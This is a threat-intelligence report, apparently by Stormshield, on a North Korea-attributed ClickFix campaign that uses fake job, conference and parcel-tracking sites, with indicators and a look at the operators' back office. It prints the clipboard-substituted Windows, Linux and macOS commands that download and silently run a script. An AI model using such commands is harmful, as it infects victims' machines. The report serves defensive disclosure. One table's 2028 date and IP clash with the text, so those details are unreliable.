TL;DR
Stormshield's Cyber Threat Intelligence team has uncovered the Trigram campaign, targeting the AI, blockchain, and logistics sectors across Europe and the United States.
- The Bait: Threat actors impersonate 50 companies using fake job offers, invitations, and package tracking notifications to deliver an infostealer to victims.
- Behind the Scenes: A dedicated platform enables the attackers to track the entire operation end-to-end, from the initial click to credential theft.
By correlating this data with research from Proofpoint, SafeDep and Genians, Stormshield attributes this campaign with high confidence to North Korea, as a continuation of the UNK_DeadDrop cluster and the Kimsuky group (APT-43).
Preamble
An Already-Partially Documented Threat
Since 2022, actors whose TTPs are consistent with those of North Korea have persistently targeted developers in the cryptocurrency ecosystem. The modus operandi remains largely the same: fake recruiters, fake technical interviews, or fake coding exercises trick the victim into executing a malicious payload themselves. The most well-known campaign, Contagious Interview, reportedly compromised at least 30,000 devices across more than 100 countries, according to an alert published in September 2026.
Several recent publications describe details associated with the campaign under study:
- Proofpoint has been tracking, since April 2026 under the name UNK_DeadDrop, a cluster highly likely to be North Korean, which lures developers with email-based job offers directing them to trojanized code repositories [1];
- SafeDep documented on November 3, 2026, the compromise of the open-source repository
antd-img-crop, which distributed an infostealer dubbed OverLord by its authors [2]; - Genians published in August 2026 an analysis attributing to Kimsuky an operation leveraging AI and Git repositories as its command infrastructure [3].
What's New in This Article
This analysis brings three new elements:
- A description of the operators' back office. As far as we know, this is the first public description of the operational tooling behind a campaign of this kind: the management platform, victim-tracking consoles, and email-delivery infrastructure.
- Correlating separately published research. Trigram's infrastructure links the activities described by Proofpoint, SafeDep, and Genians.
- Observation of a live infrastructure. A C2 rotation was observed during the analysis, and the scale of the campaign could be quantified (approximately 50 impersonated brands).
Initial Access Phase
Initial Contact with the Victim
The attack begins with an email advertising a job opportunity. The sender poses as a recruiter, offering a fully remote software development position. To get the victim's interest, the email notably emphasizes a substantial annual salary.
The message is sufficiently detailed to appear as legitimate. It also includes a link to a website where the job posting can be reviewed and an application submitted, along with a referral code to enter upon registration.
The objective is to lead the victim to click the link and proceed through the recruitment process without looking suspicious.
Visual Looking
The picture below is an example of a mail used for this initial contact.
Decoy Analysis
The website presents itself as a recruitment platform where visitors can view a job listing and submit an application directly online.
At first glance, the site mirrors the standard elements of a recruitment platform:
- a company overview,
- a description of the open position,
- a form for candidates to submit their details.
The process is relatively straightforward and unfolds in several steps:
- Company and job overview: The site describes the company's business and presents the open position, including key responsibilities and salaries.
- Application submission: The candidate is prompted to fill out a form requesting various details, including their name, email address, the position looked, a link to their portfolio, and a personal statement.
- Spam verification: Once the form is submitted, the visitor is redirected to a new page asking them to complete a verification step to confirm they are not a robot.
- Confirmation: The process concludes with a page indicating that the application has been successfully received.
The entire experience is designed to give a sense of coherence and legitimacy. The site handles field validation, the sequencing of the various steps, and the display of confirmation messages.
It is, however, during the spam verification stage that the site's behavior becomes suspicious. Presented as a routine validation step, this procedure actually prompts the candidate to copy and execute a command directly on their machine.
Environment Identification
Upon page load, a script embedded in the web page determines the visitor's environment, in particular through the User-Agent string. This influences navigation within the site and provides the attackers with information about authorized visitors.
Visitor Filtering
The script identifies the operating system and only targets Windows, macOS, and Linux. It also checks for the presence of the cn_ip_restricted cookie, set by the server, and reads its value. If the cookie exists with a value of 1, or if the operating system is not among the targeted platforms, navigation within the site is disabled and the user is effectively blocked. These checks are performed entirely within the browser and do not trigger any data transmission.
Visitor Data Collection
For visitors who pass the filter, the script extracts the following information from the browser's User-Agent string:
- the operating system,
- the browser and its version,
- the device type, which in practice resolves to
desktop, as mobile devices have already been filtered out.
IP-Based Access Restriction
The cn_ip_restricted=1 cookie suggests that the site employs an IP-based access restriction mechanism tied to the visitor's IP address. The cn prefix may refer to China, but this interpretation remains unconfirmed.
This restriction mechanism relies in part on the following JavaScript code:
function d() {
return /(?:^|;\s*)cn_ip_restricted=1(?:;|$)/.test(document.cookie)
}
When this cookie is present, the site displays a limited version of the home page. The buttons and links are disabled and the normal initialization processus is interrupted. The page remains reachable, but any interaction with it is now impossible, as shown in the following code:
async function Vt() {
let e = document.querySelector(`#app`);
if (!e) return;
let t = u(),
n = d(); // n = cookie cn_ip_restricted
if (t || n) {
document.body.className = `device-blocked-route`;
document.title = `Unsupported Device | Lumenorbit`;
e.innerHTML = t ? Tt(t) : Et();
f(e);
return
}
...
}
Application Data Collection
The application form collects the following personal and professional information:
- Full name
- Email address
- Position of interest
- LinkedIn profile or portfolio
- Personal statement
The data is then stored locally in the browser's localStorage under the key alb-application, and transmitted to the server via an HTTP POST request in JSON format to the /track-activity route. In case of failure, the script falls back to navigator.sendBeacon as a secondary delivery mechanism.
Fake Anti-Spam Checks
After completing the application form, the visitor is redirected to the /anti-spam path. This page presents itself as a verification step designed to filter out automated applications. This mechanism fits within the context of a campaign that appears to aim pre-identified targets rather than a broad audience. To proceed, the candidate must enter a referral code.
Referral Code Validation
When the applicants submit their referral code, the site sends them to the server via a POST request to /refcode/unlock in the following format:
{ "refCode": "CODE_SAISI" }
If the server accepts the code, it answers with a JSON payload containing the following fields:
- refCode: The code confirmed by the server. The site populates it back into the input field, which then becomes read-only.
- code: A value whose purpose is unknown on the client side. This data is stored in the browser's
sessionStorageunder the keyalb_verify_draft. - jobTag: An optional field, used only for tracking purposes. When the code is accepted, the script sends a message to the server (
/track-activity) to indicate that the code has been unlocked, attaching thejobTagvalue. It has no direct effect on the page.
If the code is rejected, the site displays one of the followin messages:
- "Already used.": The code has already been used.
- "Locked to another IP.": The code is bound to a different IP address.
- "Invalid code.": Catch-all for all other cases, including network errors or incomplete server responses.
When the code is accepted, the site displays a confirmation message to the candidate. The illustration below shows an example. Its appearance may vary depending on the site.
Generation and Execution of the Malicious Command
Scenario
As soon as the sponsorship code is validated, the web page displays a random identifier (a nonce) and provides a command to be run. To allay the victim's suspicion, the web site presents this step as a simple verification test to prove that the user is not a robot.
The requested manipulation is straightforward:
- Copy the command directly from the web site.
- Open the terminal on the machine (PowerShell or Command Prompt on Windows, or the regular Terminal on macOS and Linux).
- Paste and execute the command, which validates the trap and triggers the infection.
The screenshot below shows the instructions presented to a Linux user, along with the nonce and the command to be executed.
The web page displays an explaination saying that this command allows the nonce to be signed from the Terminal and registered in the Committee's chain. This presentation gives the operation the appearence of a simple technical check.
An analysis of the command demonstrates that it only sends the nonce to the server via a POST request to /api/verify. It does not download any file nor execute any script on the victim's machine.
The web page then waits a confirmation from the server. It does this using a SSE (Server-Sent Events) connection, or, if that fails, by regularly sending requests to /api/verify/status. Once the nonce has been received, it deliberately displays the following error message: « Operation timeout. Please try again. Nonce Refreshed. ».
This error message is intentionally displayed and does not correspond to a real timeout. In reality, it marks the transition to a second phase of the attack. The web page keeps the same appearance, but the behavior of the copy button is now changed. the victim is therefore urged to repeat the verification without realizing that the machanism has changed.
Clipboard Substitution
The script alters the copy behavior and intercepts the two methodes used to retrieve the command :
- When the victim clicks the « Copy » button, the script places the malicious command directly into the clipboard.
- If the victim selects the text and use
Ctrl+C, the script also intercepts this action and replaces the copied content with the malicious command.
The command displayed on the screen still contains the new nonce, but the one that ends up in the clipboard is different. It includes a trailing newline at its end, causing its execution immediately when pasted into a Terminal, without the victim having to press Enter.
Each copy is also reported to the server. The script sends a request to /refcode/cmd-copy and transmits a cmdline_copied event to /track-activity. This event includes, among other data, the operating system, the nonce, and a magic flag that indicates whether the malicious command has been copied. The attacker can therefore monitor the victim's actions.
Commands Executed According to the Operating System
The command is built based on the detected OS and the web page's address, here represented by <site>. It downloads a script from the domain of the fake recruitment web site and the executes it.
Windows Command
powershell -NoProfile -Command "$nonce=''; start -WindowStyle Hidden cmd '/c curl -ks https:///verify_w -o v.cmd&&v.cmd'; $d=('{\"nonce\":\"' + $nonce + '\"}')"
- PowerShell starts without switching profile (
-NoProfile). - It launches
cmdin a hidden window. curldownloads the fileverify_wfrom the remote server, without verifying the TLS certificate (-k) and without any output displayed (-s). The file is saved asv.cmdin the current directory.- Once the download finishes successfully, the file
v.cmdis automatically executed by CMD.
Linux Command
bash -c 'nonce=""; setsid -f bash -c "curl -ks https:///verify_m -o u && exec bash u" >/dev/null 2>&1 </dev/null; jsd="{\"nonce\":\"$nonce\"}"'
- Bash is launched with
setsid -fto run it in its own session, in the background, and without depending on a terminal. Its standard input, output and errors and discarded. curldownload the fileverify_wfrom the remote server, without verifying the TLS certificate (-k) and without any output displayed (-s). The file is saved asuin the current directory.- If the download succeeds, it executes the file with
exec bash u.
macOS Command
bash -c 'nonce=""; perl -MPOSIX -e"fork&&exit;POSIX::setsid;fork&&exit;exec@ARGV" bash -c "curl -ks https:///verify_m -o verify_m && exec bash verify_m" &>/dev/null& json="{\"nonce\":\"$nonce\"}"'`
- Perl performs a double
forkand callsPOSIX::setsidto detach the process from the terminal: the firstforkallowssetsidto create a new session, the second prevents the process from taking back a controlling terminal. Perl is used here likely because macOS does not provide a nativesetsidcomand. curldownloads the fileverify_wfrom the remote server, without verifying the TLS certificate (-k) and without any output displayed (-s). The file is saved asverify_min the current directory.- If the download succeeds, it executes the file with
exec bash verify_m.
Across the three OS, the commands define at the end a variable that holds the nonce in JSON format ($d, jsd, json), but this variable is never used. We can suppose that this is an arrangement for these commands to look like the one shown to the user : the human eye notices more easily the changes at the beginning and the end of a block of text.
Summary of the Initial Access Phase
The initial access works with a fake recruitment campaign targeting developpers and using the ClickFix technique:
- Filtering: Mobile users, unsupported systems and visitors flagged by the
cn_ip_restrictedcookie (which means subject to a restriction) are directed to an inactive page. - Trick: The victim fills out a job-application form and then passes though a fake anti-spam verification that requires a one-time referral code.
- Substitution: After running an innocuous first command, the victim receives a fake error: « Operation timeout. Please try again. Nonce Refreshed. ». The web site then replaces the command in its clipboard with a second malicious command, without notifying the user.
- Execution: The second command downloads a script from the remote server and silently runs it on the victim's machine.
- Tracking: All stages of this process are reported back to the server via
/track-activity.
Dropper Execution Phase
Operating Diagram
Summary
Analysis of the scripts highlights a single infection chain, adapted for three environments:
- Linux
- macOS
- Windows
These scripts act as loaders: they prepare the execution environment, retrieve the necessary components, and launch a JavaScript payload, install_guard.js, fetched from a remote server.
The operation follows several common stages:
- Background execution: The initial script launches a secondary process asynchronously, detaching it from the terminal.
- Payload decoding: The first script extracts and decodes a second layer of code hidden in Base64.
- Environment preparation: This second script configures its working directory, sets up a locking mechanism to prevent concurrent installations, and checks for an existing Node.js installation.
- Node.js deployment: If no compatible version (v18 minimum) is available, the script downloads a portable version of Node.js v20.18.1, matched to the operating system and its architecture.
- Payload retrieval: The script then downloads
install_guard.jsfrom the operator's infrastructure. The file must meet a minimum size of 50 KB to be considered valid before being executed with Node.js.
The Windows variant incorporates several specific mechanisms. It notably uses a VBScript to relaunch the CMD file asynchronously, as well as PowerShell to decode the Base64 payload. It also attempts to strip the Mark-of-the-Web (MOTW) attribute, removing Internet provenance information that could trigger security warnings or restrictions on Windows.
In conclusion, these droppers share a common architecture, tailored to the specifics of Windows, macOS, and Linux. They prepare the environment, download and execute a JavaScript component, while incorporating resumption mechanisms, process management, and communication with the attacker's infrastructure.
This component then deploys an infostealer tasked with collecting browser credentials, cryptocurrency wallets and sensitive files present on the machine. It also gathers system information and exfiltrates the collected data to the attacker. Finally, it deploys agents designed to maintain access to the machine. The infostealer's operation and the capabilities of these agents will be detailed in a follow-up article.
Infrastructure
Overview
The mapped infrastructure comprises approximately 200 IOCs, including:
- URLs
- IP
- Domain names
- Certificates
- Email addresses
It is organized across three depth levels, from targets to operators (Figure 4):
Layer #1: Decoy. Fake recruitment sites, conference invitation pages, and package-tracking portals. This is the only surface visible to targets. These sites also distribute the Stage 2 scripts.
Layer #2: Command and Control (C2) servers. They host the JavaScript payload (install_guard.js) and receive installation telemetry. C2 addresses are never hardcoded in the code: they are retrieved via a GitLab repository acting as a relay, allowing the attackers to swap C2 infrastructure at any time.
Layer #3: Operator back office. Victim-tracking consoles and a campaign management platform (rms-platform). The latter centralizes target collection from GitHub, bulk email delivery, interaction tracking, and a cryptocurrency wallet management module.
These three levels rely on abused legitimate services: GitHub and GitLab for code and configuration hosting; Brevo, Resend, Mailgun, and Smartlead for email delivery; and FullStory for visitor session recording.
Two constants characterize all mapped elements:
- Concentrated hosting with Advin Services. Domains are predominantly registered with Namecheap and use low-cost TLDs (
.xyz,.ink,.site,.space,.online). This pattern is not unique to this campaign. Proofpoint had already noted in April 2026 the use of Advin addresses as sending servers by the UNK_DeadDrop cluster [1], and SafeDep located the third-stage servers of theantd-img-cropcompromise on the same hoster [2]. - Artifacts consistent with AI-assisted development. The platform's internal documentation (described bellow) contains passages that are clearly copied from a conversational AI assistant, including a response that ends by prompting the user to provide "their domain name." The configuration also references a Gemini API key. The code exhibits a homogeneous, heavily commented style characteristic of generative tools. These elements do not allow determining the extent of AI reliance, but they are consistent with AI-assisted development.
Layer #1: Decoys
The decoys constitute the only surface directly exposed to targets. They support the social engineering scenarios described in the Initial Access phase, from the lure email to the execution of the malicious command. They also distribute the Stage 2 scripts (verify_w for Windows, verify_m for Linux and macOS).
The mapping reveals three distinct scenarios: recruitment, conference invitation, and package tracking. They share a common technical foundation: the target enters a verification code, then pastes the site-generated command into their terminal.
Scenario 1: Recruitment in the Web3, AI, and Tech Sectors
This scenario is the most prevalent in the corpus. The sites impersonate blockchain, artificial intelligence, and software development companies, presenting a job opening. The impersonation is double: it targets both the domain name and the visual identity, which is replicated identically.
The domain names follow recurring patterns, combining the impersonated brand name with a term evoking recruitment or community:
Scheme | Spoofed Domain Examples |
*council | fuelcouncil[.]ink mantle2council[.]xyz |
*hires*careers*talents | mantlehires[.]xyz lineacareers[.]xyz ritualtalents[.]xyz |
buildwith* | buildwithritual[.]xyz buildwithmina[.]ink |
inv2* | inv2boyaa[.]site inv2initia[.]ink |
join* | joinwebflow[.]xyz joinmetis[.]site |
Below is a visual comparison between the official sites and the phishing sites:
And this is only the beginning of a long list. In total, approximately 50 brands are impersonated. SafeDep documented another recruitment portal, under the name of Amber Group, hosted on the same infrastructure [2]. Proofpoint had already described comparable impersonations in May 2026, including that of a recruitment agency specializing in Web3 and AI [1].
Scenario 2: Invitation to the ICAGLLMBT Conference
One site stands out in the corpus: an invitation to the International Conference on Advances in Generative AI, Large Language Models and Blockchain Technology (ICAGLLMBT). The title is genuine. It refers to a series of conferences announced in multiple cities and dates. The domain icagllmbt[.]space mirrors it to lend credibility to the invitation, which advertises a Tokyo edition on July 7-8, 2027.
The TTPs align with those of the recruitment scenario. After a registration form, the target arrives at an information collection page and is prompted to complete a verification that leads to self-infection (Figure 6).
The site's JavaScript code also contained a debug invitation code that allowed direct access to this page, bypassing the intermediate steps:
This scenario presents a particularity: it does not rely solely on the attackers' own email campaigns. The form offers the target, if unable to attend the event, the option to designate a substitute. It also generates a ticket and an access code to be forwarded (Figure 7). The target thus becomes a dissemination vector within their own professional network, expanding the campaign's reach beyond the attackers' original recipient list.
The domain icagllmbt[.]space is not limited to this decoy role. SafeDep documented its use as a Stage 2 server in the compromise chain of the GitHub repository antd-img-crop, a component downloaded approximately 98,000 times per week on npm [2]. A malicious commit, pushed on October 31, 2026, added a script executed at build time that downloaded verify_m or verify_w from this domain. A single domain thus simultaneously serves as both a social engineering decoy and a distribution point for a software supply-chain attack.
Scenario 3: Delivery Tracking
This scenario exploits the logistics theme. The decoys replicate the tracking interfaces of three carriers: DHL (Germany), DPD (Geopost Group, France), and Aramex (United Arab Emirates) (Figure 8).
As with the loadshipdpd[.]ink domain presented below, the domains mapped on the same infrastructure (193.160.32[.]10, listed in the table below, Figure 8) and associated with this "package tracking" cluster were observed on the server for a very brief period, between October 8 and 10, 2026.
Domains Resolution on 08-10-2028 to 193.160.31.10 | ||
DHL | DPD | ARAMEX |
waybilltrack[.]xyz | loadwatcherdpd[.]ink | tracearamex[.]ink |
freightviewer[.]ink | loadtracedpd[.]xyz | trackaramex[.]xyz |
tracedhl[.]xyz | loadshipdpd[.]ink | parcelaramex[.]ink |
shipdhl[.]xyz | loadwadpd[.]xyz | parcelaramex[.]ink |
loadtrace[.]delivery | loadwatchdpd[.]ink | tracearamex[.]ink |
freightracker[.]ink | tracedpd[.]xyz | loadshiparamex[.]ink |
shiptrace[.]delivery | loadwatcharamex[.]xyz | |
transitwatch[.]ink | shiparamex[.]xyz | |
loadwatchdhl[.]xyz | parcelaramex[.]xyz | |
shiptransit[.]ink | ||
What link the three scenarios
Put together, all those technical elements link those scenarios to a common infrastructure:
Element | Recruitment | Conference | Delivery |
Hosted on 193.160.32[.]10 | ✓ | ✓ | ✓ |
Scripts verify_w and verify_m | ✓ | ✓ | ✓ |
ClickFix Command generated after a code input | ✓ | ✓ | ✓ |
Potential Endpoint in rms-platform | api/refcode/ | api/refcode/ | api/waybill/ |
Therefore we estimate with a high confidence that those three scenarios originate from the same operator and share a common technical platform.
Layer #2: Command & Control Servers (C2)
A Multi-Layer Infrastructure
Once the ClickFix command is executed, the Stage 2 script (verify_w or verify_m, depending on the victim's OS), downloaded from the decoy domain, deploys a Node.js environment and then retrieves the install_guard.js JavaScript payload (see the dropper execution phase). This payload does not embed its Command and Control (C2) server address; instead, it defines the address of a configuration file hosted on a public GitLab repository, which acts as a relay (dead drop resolver).
This architecture distinguishes three roles:
- Distribution servers, which host
install_guard.jsand receive installation telemetry; - The GitLab relay, which points to the current C2 address;
- The C2 server proper, with which the payload communicates once installed.
Operators can thus swap the C2 server by modifying a single file on GitLab, without redeploying code to victims or altering their decoys.
Chain observed on 4 nov. 2026:
A Rotation Observed Under Analysis
The GitLab relay is not permanent. On October 31, 2026, SafeDep reported a relay hosted on the repository gitlab[.]com/drop-indexings/tasks. A few days later, the payload was querying another repository of the same structure, gitlab[.]com/up-indexings/tasks. The latter had been created on November 3, 2026, at 03:05 UTC, the day before our observation. The config.json file it contains was uploaded by an account using the username 0xapp123.
Date (UTC) | GitLab Relays | C2 Linked | Source |
31 oct. 2026 | drop-indexings/tasks | api.chestsoi[.]ink | SafeDep |
3 nov. 2026, 03:05 | creation of up-indexings/tasks | - | GitLab |
4 nov. 2026 | up-indexings/tasks | api.cerysoi[.]ink | Stormshield |
The repository name (tasks) and the path structure are preserved from one generation to the next; only the account changes (*-indexings). This pattern constitutes an exploitable detection indicator.
Our investigations have enabled us to identify four domains that serve as distribution or C2 functions: api.gaganata[.]ink, api.fallgganata[.]ink, gamsterb[.]ink and api.cerysoi[.]ink.
A Resilient Infrastructure
Paired naming. fallgganata is most likely a fallback server for gaganata, as confirmed by SafeDep's analysis. Similarly, cerysoi shares its suffix with chestsoi[.]ink, another domain identified by SafeDep. These pairs suggest batch generation of names.
Overlap with the back office. The subdomain dashboard.gaganata[.]ink appears in the configuration of the operator administration platform (see Layer #3). The same domain thus serves both as a payload distribution point and for campaign management.
Layer #3: Operators Back-End
Principle
The third level regroups the campaign's operational tooling. It includes victim-tracking consoles, exposed across multiple domains, and a campaign management platform dubbed rms-platform by its operators. This analysis goes beyond the infection chain alone: it reveals how operators select their targets, write to them, track their progress, and exploit the data collected.
Administration Consoles hidden into Decoys
The tracking consoles are not standalone applications: they are delivered within the same JavaScript code as the decoys. The same bundle is served to all visitors, and a check on the hostname or URL path determines which interface is displayed:
< script >
;(function () {
var host = window.location.hostname || ''
var path = window.location.pathname || ''
var isValidator =
host.indexOf('validator.') === 0 ||
host === 'subnet.dokamacto.xyz' ||
path.indexOf('/ops-7f3k9m') === 0
if (!isValidator) {
document.title = 'AAV Career: Hiring'
}
})()
</ script >
At the root of subnet.dokamacto[.]xyz, a visitor sees a recruitment decoy ("AAV Career") displaying an eligibility error (Figure [n]). Under the /ops-7f3k9m path, this same domain displays the operator console. This design choice has a major implication: every decoy visitor unknowingly receives the full console code. This is what made it possible to rebuild its functionality.
CSRF_TRUSTED_ORIGINS [
'https://dashboard.asteara.org',
'http://dashboard.asteara.org',
'https://dashboard.cklomino.ink',
'http://dashboard.cklomino.ink',
'https://almanac.3dscenebox.online',
'http://almanac.3dscenebox.online',
'https://dashboard.gaganata. ink',
'http://dashboard.gaganata.ink',
'https://online.dokamacto.xyz',
'http://online.dokamacto.xyz'
]
ALLOWED_HOSTS [
'170.205.29.83',
'146.19.215.187',
'185.147.159.187',
'170.205.30.27',
'dashboard.asteara.org',
'dashboard.cklomino.ink',
'almanac.3dscenebox.online',
'dashboard.gaganata.ink',
'online.dokamacto.xyz',
'localhost',
'127.0.0.1'
]
Two of these hosts are already known:
- The domain
asteara[.]orgis among the infrastructure attributed by Proofpoint to the UNK_DeadDrop cluster as early as April 2026 [1]. - The IP address 170.205.29[.]83 was used by the same cluster for its phishing email delivery [1] and appears among the C2 servers listed by Genians [3]. The back office described here thus relies, at least in part, on infrastructure running since six months.
A Victims-Tracker Step-by-Step
The console code precisely describes the steps the operator follows for each victim. Each corresponds to an event reported by the decoy or the malicious payload:
# | Operation Code | Displayed Label | Infection Chain Matching Step |
1 | copiedCmdline | Copied CMD | The victim copied the malicious command |
2 | installerDownloadStarted | Reg installer | Second step script download |
3 | launcherOk | Launcher OK | Dropper execution succeeded |
4 | launcherResultReported | Launcher reported | Installation log report |
5 | clickedCheckNow | Check Now | Interaction with "Checking" interface |
6 | deviceRegistered | Guard ran | Execution of install_guard.js |
7 | deviceCheckPassed | Device OK | Device checking by the payload |
8 | faceVerificationPassed | Face OK | « face verication» check [hypothesis : anti-deepfake narrative] |
9 | passwordSaved | Password | System password retrieved |
The last two steps clarify the ultimate purpose of the operation. The "facial verification" most likely extends the payload's narrative, which presents itself as a deepfake protection (deepfake_guard). Password retrieval matches the behavior documented by SafeDep: on macOS and Linux, the payload displays a fake system window prompting for the user's password, then uses it to unlock stored secrets and install itself with elevated privileges.
The console also provides several operational functions:
- Decoy monitoring. Each decoy domain managed by the console is tested every 30 seconds via a request to the
/verify_wor/verify_mpaths. Operators can thus immediately detect a decoy that has been taken down. - Performance metrics. Over 24-hour windows, the console compares successful installations to "real visitors." Bots and blocked IP addresses are tracked separately, and the latter can be managed directly from the interface.
- Target scoring. Each target is rated "important," "moderate," or "useless," suggesting triage of victims based on their value.
- Session recording. The decoys integrate the FullStory behavioral analytics service (organization
o-23XVR6-na1), which allows replaying each visitor's navigation.
window['_fs_host'] = 'fullstory.com'
window['_fs_script'] = 'edge.fullstory.com/s/fs.js'
window['_fs_org'] = 'o-23XVR6-na1'
window['_fs_namespace'] = 'FS'
The operator thus has real-time visibility into each victim, from copying the command to retrieving their password.
Focus on rms-platform: A Campaign Management Platform (Level 3)
Presentation
The console infrastructure led to a web service exposed on port 8000 at 170.205.30[.]27. This service, a Django application, was displaying a detailed error page, as debug mode remained enabled. The page leaked the application's route list (Figure 9), the path to its source code (/root/rms-platform/), and the names of configuration variables. Sensitive values were masked by Django.
These elements describe a platform that covers the full campaign lifecycle:
Feature | Observed Elements | Interpretation | Confidence Level |
Targeting | Paths github_users/, github-stats/, github-jobs-check/ ; keys ScraperAPI ; jetons GITHUB_TOKEN_CG, _CMC, _CONTRIB ; documentation « Logic for Scraping GitHub Users » | Target list generation from GitHub | High |
Sending | Keys Resend, Brevo, Mailgun, Smartlead ; Random sending limit and delay | Bulk email delivery distributed across multiple providers | High |
Mail Following | Pixel api/t/o.gif, webhooks Resend et Mailgun, routes inbox/, auto-reply/, email-blacklist/ | Open tracking, reply and unsubscribe management | High |
Decoy Management | Paths api/refcode/, api/waybill/ and their job-tags/ | Access code issuance and tracking, per target and per offer | High |
Data Exploitation | Paths api/db/tables/, .../export/ ; external MongoDB base | Viewing and export of collected data | High |
Wallets | Paths api/admin/wallets/ (preview, refresh, claim, claim-all) ; keys Etherscan, Basescan, Polygonscan, Solscan, Tronscan | Cryptocurrency wallet monitoring across five networks, potentially including fund transfers | Low to Moderate |
The complete set of configuration constants in use is also listed by the debug mode. Below is an organized selection of the latter:
RESEND | BREVO | MAILGUN | SMARTLEAD | EXPLORER BLOCKCHAIN | IA | SCRAPER | GITHUB | LOGIQUE INTERNE | UNIDENTIFIED |
ALB_RESEND_KEY ALE_RESEND_KEY AMB_RESEND_KEY ANI_RESEND_KEY APEX_RESEND_KEY AVA_RESEND_KEY AXE_RESEND_KEY AZT_RESEND_KEY BER_RESEND_KEY BIT_RESEND_KEY BOY_RESEND_KEY BULL_RESEND_KEY CEL_RESEND_KEY DIL_RESEND_KEY DYM_RESEND_KEY EARN_RESEND_KEY EIG_RESEND_KEY ESP_RESEND_KEY FOURTH_RESEND_API_KEYFUEL_RESEND_KEY INI_RESEND_KEY KAI_RESEND_KEY LAD_RESEND_KEY GRO_RESEND_KEY HYP_RESEND_KEYLIN_RESEND_KEY LUM_RESEND_KEY MAN_RESEND_KEY MOV_RESEND_KEY NAD_RESEND_KEY NEW_RESEND_API_KEY MER_RESEND_KEY MET_RESEND_KEY MINA_RESEND_KEY MOT_RESEND_KEY GEO_RESEND_KEY NIL_RESEND_KEY PIX_RESEND_KEY OCHO_RESEND_KEY PAN_RESEND_KEY RIT_RESEND_KEY SAGA_RESEND_KEY OSL_RESEND_KEY SCR_RESEND_KEY SON_RESEND_KEY SUC_RESEND_KEY SURG_RESEND_KEY SWA_RESEND_KEY SEI_RESEND_KEY TAI_RESEND_KEY TER_RESEND_KEY THIRD_RESEND_API_KEY TUR_RESEND_KEY VER_RESEND_KEY WEB_RESEND_KEYRESEND_API_KEY RESEND_DISABLE_WEBHOOK RESEND_WEBHOOK_SECRET RESEND_WEBHOOK_SECRETS RESEND_WEBHOOK_URL | BOY_BREVO_KEY ESP_BREVO_KEY FUEL_BREVO_KEY GRO_BREVO_KEY INI_BREVO_KEY MER_BREVO_KEY MET_BREVO_KEY MINA_BREVO_KEY MOT_BREVO_KEY MOV_BREVO_KEY NIL_BREVO_KEY OSL_BREVO_KEY SEI_BREVO_KEY | MAILGUN_STATS_INTERVAL_SECONDS | SMARTLEAD_API_KEY SMARTLEAD_BASE_URL SMARTLEAD_CAMPAIGN_ID | BASESCAN_API_KEY ETHERSCAN_API_KEY POLYGONSCAN_API_KEY SOLSCAN_API_KEY TRONSCAN_API_KEY | GEMINI_API_KEY | SCRAPERAPI_API_KEY | GH_BACKUP_REPO = "alexlopez-g/rms-platform" GITHUB_ETHEREUM_TOKEN GITHUB_TOKEN GITHUB_TOKEN_CG GITHUB_TOKEN_CMC GITHUB_TOKEN_CONTRIB | CSV_EMAIL_LIMIT CSV_EMAIL_LIMIT_TWO CSV_EMAIL_LIMIT_THREE DAILY_EMAIL_LIMIT DESIGN_EMAIL_LIMIT OFFER_JOB_ACTIVE_DAYS OFFER_JOB_CROSS_COOLDOWN_DAYS OPEN_PIXEL_URL SEND_CYCLE_DELAY_JITTER_S SEND_CYCLE_DELAY_MIN_S SLACK_TOKEN_1 SLACK_TOKEN_2 TELEGRAM_API_HASH TELEGRAM_API_ID TELEGRAM_BOT_TOKEN TELEGRAM_USER | CG_API_KEY |
Targeting
Several elements suggest an automated target collection from GitHub: the platform documentation describes, step by step, the extraction of profiles via the GitHub API, and GitHub-related constants were identified in the RMS configuration. This hypothesis is consistent with the observed targeting: Web3 ecosystem developers contacted in the name of blockchain projects.
Delivery
The platform distributes its email volume across four sending providers: Resend, Brevo, Mailgun, and Smartlead. It relies on more than 50 Resend API keys, 13 Brevo keys, and 3 Smartlead keys, each associated with an impersonated brand. Several parameters aim to stay below spam detection thresholds: daily volume caps, random delays between sending cycles, offer validity periods, and a minimum cooldown before presenting a new offer to the same target.
The internal documentation related to the attackers' email sending (Figure 10) also reveals the IP address 198.54.127[.]82.
Decoy Tracking and Management
The referral codes described in the Initial Access phase are issued and validated by the operator back-office platform, as are package-tracking codes (waybills). Each code is associated with an offer (job-tags) and, based on the decoys' error messages, an IP address. A tracking pixel and webhooks round out the system by measuring email opens and incoming replies.
Cryptocurrency Wallets
The function of this module could not be established with certainty. Several elements suggest it is used to monitor cryptocurrency wallets and transfer their contents. We also observed that they possess explorer API keys covering five blockchain networks: Basescan, Etherscan, Polygonscan, Solscan, and Tronscan.
We retain this hypothesis with low to moderate confidence. If confirmed, it would place the financial objective at the center of the campaign. Further details will follow in the next article.
AI-Assisted Development
The documentation served by the platform (route guide/) contains passages that appear to be directly taken from an exchange with a conversational AI assistant (hypothesis based on the presence of emojis, em dashes, and conversational markers such as "just let me know your domain name"). One of them, dedicated to bypassing Gmail blocks, concludes with an offer of further assistance to the user, typical of this type of tool. The configuration also references the use of a Gemini API key (see the table of constants identified in the "Resource Management System" configuration).
An Industrialized Campaign: Approximately 50 Impersonated Brands
The configuration variables follow a systematic naming convention: a three- or four-letter prefix, followed by the provider name (e.g., MINA_RESEND_KEY, MINA_BREVO_KEY). These prefixes denote the impersonated brands. They appear in:
- the decoy domain names,
- a directory exposed on 193.160.32[.]10 (port 8080), containing the visual assets for each decoy page,
- a second directory exposed on the same server (port 8090), which lists decoy domains.
THIRD, FOURTH, NEW, EIG, OCHO) appear to be numbered. The table below shows some of the established mappings:
Prefix | Probable Brand | Observed Domain(s) | Resend Key | Brevo Key |
RIT | Ritual | buildwithritual[.]xyz ritualtalents[.]xyz | ✓ | - |
MINA | Mina | buildwithmina[.]ink | ✓ | ✓ |
MET | Metis | joinmetis[.]site | ✓ | ✓ |
MAN | Mantle | mantlehires[.]xyz mantle2council[.]xyz | ✓ | - |
LIN | Linea | lineacareers[.]xyz inv2linea[.]xyz | ✓ | - |
INI | Initia | inv2initia[.]ink | ✓ | ✓ |
FUEL | Fuel | fuelcouncil[.]ink | ✓ | ✓ |
BOY | Boyaa | inv2boyaa[.]site | ✓ | ✓ |
Some domains also confirm the use of Brevo: their DNS zone contains a brevo-code TXT record, used to verify domain ownership with this French provider. Several domains share the same code, indicating they were registered from a single Brevo account:
Domains | Brevo Code |
workwithapex[.]xyz dymensioncareers[.]xyz | d7e1fad24bec3461127a5b0abb8477c0 |
buildwithespresso[.]online joinmotus[.]site | b6ef333e88a4c32052b8da81bea56822 |
